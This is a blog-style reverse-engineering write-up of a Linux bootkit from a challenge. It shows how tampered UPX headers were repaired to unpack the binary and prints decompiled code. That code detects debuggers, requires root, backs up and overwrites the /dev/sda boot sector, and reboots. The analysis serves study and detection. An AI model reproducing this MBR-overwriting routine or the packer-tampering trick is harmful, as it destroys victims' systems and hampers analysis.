Last month, one of my friends sent me a challenge in the reverse engineering field. In the beginning, I was busy and I could not work on this challenge. But one thing caught my eye. And it was a binary compressed using UPX.

I tried to decompress that with the UPX program but it did not work. so I created a new binary and compared them in hexdump view. several parts related to UPX headers had changed. The bad news was that I had no idea about the headers of this program. but As you know, there is always good news among bad news :). The UPX is an Open Source Program and we can check the codes.

Binary Changes

Main

so I started reading the UPX codes and research about headers offset (i write the links in Resources Table).well, for Better Analysis, I want to Unpack this Binary. for unpacking usually exists Two Methods:

  1. Manual Unpacking
  2. Binary Fixing

I use the second method because I do not know much about the first method as I write this article. if you are a Reverse Engineer, you Know that each executable Binary file contains different parts. We can see the structure of an ELF x64 file in the figure below:

ELF-Structure

additionally, each packer uses its own parts. UPX has this Sections:

struct b_info {     // 12-byte header before each compressed block
    uint32_t sz_unc;            // uncompressed_size
    uint32_t sz_cpr;            // compressed_size
    unsigned char b_method;     // compression algorithm
    unsigned char b_ftid;       // filter id
    unsigned char b_cto8;       // filter parameter
    unsigned char b_unused;
};

struct l_info       // 12-byte trailer in header for loader (offset 116)
{
    uint32_t l_checksum;
    uint32_t l_magic;
    uint16_t l_lsize;
    uint8_t  l_version;
    uint8_t  l_format;
};

struct p_info       // 12-byte packed program header follows stub loader
{
    uint32_t p_progid;
    uint32_t p_filesize;
    uint32_t p_blocksize;
};

if you want see more Click Here

well, I wanted to fix the headers by reading another UPX binary. but there is a problem. UPX uses filesize for unpacking. at first, I created a fuzzer for p_filesize header bytes But it took a long time to do. suddenly I saw an amazing thing:). the p_filesize field exists in two places. first in begin of UPX headers (The field that was destroyed) and second at end of the file. You can see the headers offset in these pictures:

UPX1

UPX2

UPX3

so I set the byte values and unpacked the file And this is the beginning of the adventure :).

Review

now understanding the program is very easy. I opened the file in radare2. We can do a lot of work now. I seek the main function and its result:

first-analysis-disas-main

At first glance, we can see the strings, function names, and their arguments. but let’s see the decompiled view:

void main
    noreturn 
                (undefined8 param_1, int64_t param_2, int64_t param_3, int64_t param_4, int64_t param_5, 
                undefined8 param_6, undefined8 param_7, undefined8 param_8)

{
    uint32_t uVar1;
    int32_t iVar2;
    int64_t iVar3;
    int64_t arg4;
    int64_t arg3;
    int64_t in_R8;
    int64_t in_R9;
    int64_t arg7;
    undefined8 var_18h;
    int64_t var_10h;
    int64_t var_8h;
    
    arg4 = 0;
    iVar3 = sym.ptrace(0, 0, NULL, NULL);
    if (iVar3 != 0) {
        sym.puts("Oh! Noway! You shouldn\'t run me with a debugger!");
    // WARNING: Subroutine does not return
        sym.exit(1);
    }
    uVar1 = sym.getuid();
    if (uVar1 != 0) {
        sym.__printf(arg7, param_2, param_3, param_4, param_5, param_6, param_7, param_8, (int64_t)"UID: %d\n", 
                    (uint64_t)uVar1, arg3, arg4, in_R8, in_R9);
    // WARNING: Subroutine does not return
        sym.exit(1);
    }
    iVar3 = sym._IO_fopen64((int64_t)"/dev/sda", 0x484062);
    iVar2 = sym.access("/.bellaciaoo10", 0);
    if (iVar2 == 0) {
        iVar2 = sym.access("/root/.bellaciaoo10", 0);
        if (iVar2 == 0) goto code_r0x00401bbd;
        var_10h = sym._IO_fopen64((int64_t)"/root/.bellaciaoo10", 0x484092);
    }
    else {
        var_10h = sym._IO_fopen64((int64_t)"/.bellaciaoo10", 0x484092);
    }
    sym.backup_bootloader(iVar3, (uint32_t)var_10h);
code_r0x00401bbd:
    sym.write_bootloader(iVar3);
    sym.puts("Wrong password.");
    sym._IO_fclose(iVar3);
    sym._IO_fclose(var_10h);
    sym.system("reboot");
    sym._IO_fclose(iVar3);
    sym._IO_fclose(var_10h);
    // WARNING: Subroutine does not return
    sym.exit((uint64_t)var_18h._4_4_);
}

in line 21 we can see a simple Anti Debugger that uses ptrace to detect the Debugger. Next, we see that using the getuid function checks the user access level and this is a scary point. the Program needs root access to continue Otherwise the program will stop. After all this, we get to the heart of the matter. the program open /dev/sda with r+b mode. and checks the stream with access syscall.

access() checks whether the calling process can access the file pathname.  If pathname is a symbolic link, it is dereferenced.

The  mode  specifies  the accessibility check(s) to be performed, and is either the value F_OK, or a mask consisting of the bitwise OR of one or more of R_OK, W_OK, and X_OK.  F_OK tests for the existence of the file.  R_OK,
W_OK, and X_OK test whether the file exists and grants read, write, and execute permissions, respectively.

The check is done using the calling process's real UID and GID, rather than the effective IDs as is done when actually attempting an operation (e.g., open(2)) on the file.  Similarly, for the root user, the  check  uses  the
set of permitted capabilities rather than the set of effective capabilities; and for non-root users, the check uses an empty set of capabilities.

This  allows set-user-ID programs and capability-endowed programs to easily determine the invoking user's authority.  In other words, access() does not answer the "can I read/write/execute this file?" question.  It answers a
slightly different question: "(assuming I'm a setuid binary) can the user who invoked me read/write/execute this file?", which gives set-user-ID programs the possibility to prevent malicious users from causing them  to  read
files which users shouldn't be able to read.

If the calling process is privileged (i.e., its real UID is zero), then an X_OK check is successful for a regular file if execute permission is enabled for any of the file owner, group, or other.

To continue the program tries to get a backup from the bootloader and then write its bootloader on /dev/sda. I provide you with the decompiled code of the functions:

undefined8 sym.backup_bootloader(undefined *arg1, uint32_t arg2)

{
    undefined8 uVar1;
    int64_t iVar2;
    int64_t in_RDX;
    int64_t extraout_RDX;
    int64_t extraout_RDX_00;
    undefined4 in_RSI;
    int64_t arg2_00;
    undefined *puVar3;
    int64_t in_FS_OFFSET;
    uint32_t var_20h;
    undefined8 stream;
    undefined var_dh;
    int32_t var_ch;
    int64_t var_8h;
    
    iVar2 = CONCAT44(in_RSI, arg2);
    var_8h = *(int64_t *)(in_FS_OFFSET + 0x28);
    puVar3 = arg1;
    if (iVar2 == 0) {
        uVar1 = 1;
        arg2_00 = iVar2;
    }
    else {
        arg2_00 = 0;
        sym.fseek(arg1, 0, 0);
        in_RDX = extraout_RDX;
        for (var_ch = 0; var_ch < 0x200; var_ch = var_ch + 1) {
            sym._IO_fread((int64_t)&var_dh, 1, 1, arg1);
            puVar3 = &var_dh;
            arg2_00 = 1;
            sym._IO_fwrite((int64_t)puVar3, 1, 1, iVar2);
            in_RDX = extraout_RDX_00;
        }
        uVar1 = 0;
    }
    iVar2 = var_8h - *(int64_t *)(in_FS_OFFSET + 0x28);
    if (iVar2 != 0) {
        uVar1 = sym.__stack_chk_fail_local(puVar3, arg2_00, in_RDX, iVar2);
    }
    return uVar1;
}
undefined8 sym.write_bootloader(undefined8 arg1)

{
    undefined8 uVar1;
    int64_t arg4;
    int64_t arg3;
    int64_t arg2;
    undefined *arg1_00;
    int64_t in_FS_OFFSET;
    undefined8 stream;
    int64_t var_11h;
    undefined uStack17;
    int64_t var_8h;
    
    var_8h = *(int64_t *)(in_FS_OFFSET + 0x28);
    var_11h._0_1_ = 0x90;
    stack0xffffffffffffffee = 0xaa55;
    sym.fseek(arg1, 0, 0);
    for (var_11h._1_4_ = 0; ((int32_t)var_11h._1_4_ < 0x1fe && (var_11h._1_4_ < 0x1b9));
        var_11h._1_4_ = var_11h._1_4_ + 1) {
        sym._IO_fwrite((int64_t)(obj.bootloader + (int32_t)var_11h._1_4_), 1, 1, arg1);
    }
    
    if ((int32_t)var_11h._1_4_ < 0x1fd) {
        for (; (int32_t)var_11h._1_4_ < 0x1fe; var_11h._1_4_ = var_11h._1_4_ + 1) {
            sym._IO_fwrite((int64_t)&var_11h, 1, 1, arg1);
        }
    }
    sym._IO_fwrite((int64_t)&var_11h + 7, 1, 1, arg1);
    arg1_00 = &uStack17;
    arg2 = 1;
    sym._IO_fwrite((int64_t)arg1_00, 1, 1, arg1);
    uVar1 = 0;
    arg4 = var_8h - *(int64_t *)(in_FS_OFFSET + 0x28);
    if (arg4 != 0) {
        uVar1 = sym.__stack_chk_fail_local(arg1_00, arg2, arg3, arg4);
    }
    return uVar1;
}

and finally, the system will reboot. result:

first-analysis-disas-main

TITLE VALUE
MD5 9979b3d76b2fefde39fe3f0055120aaa
SHA1 9506c81377c74781669455927e987189fc54e704
PLATFORM GNU/LINUX
MALWARE TYPE BootKit

Resources

Cujo.com UPX Source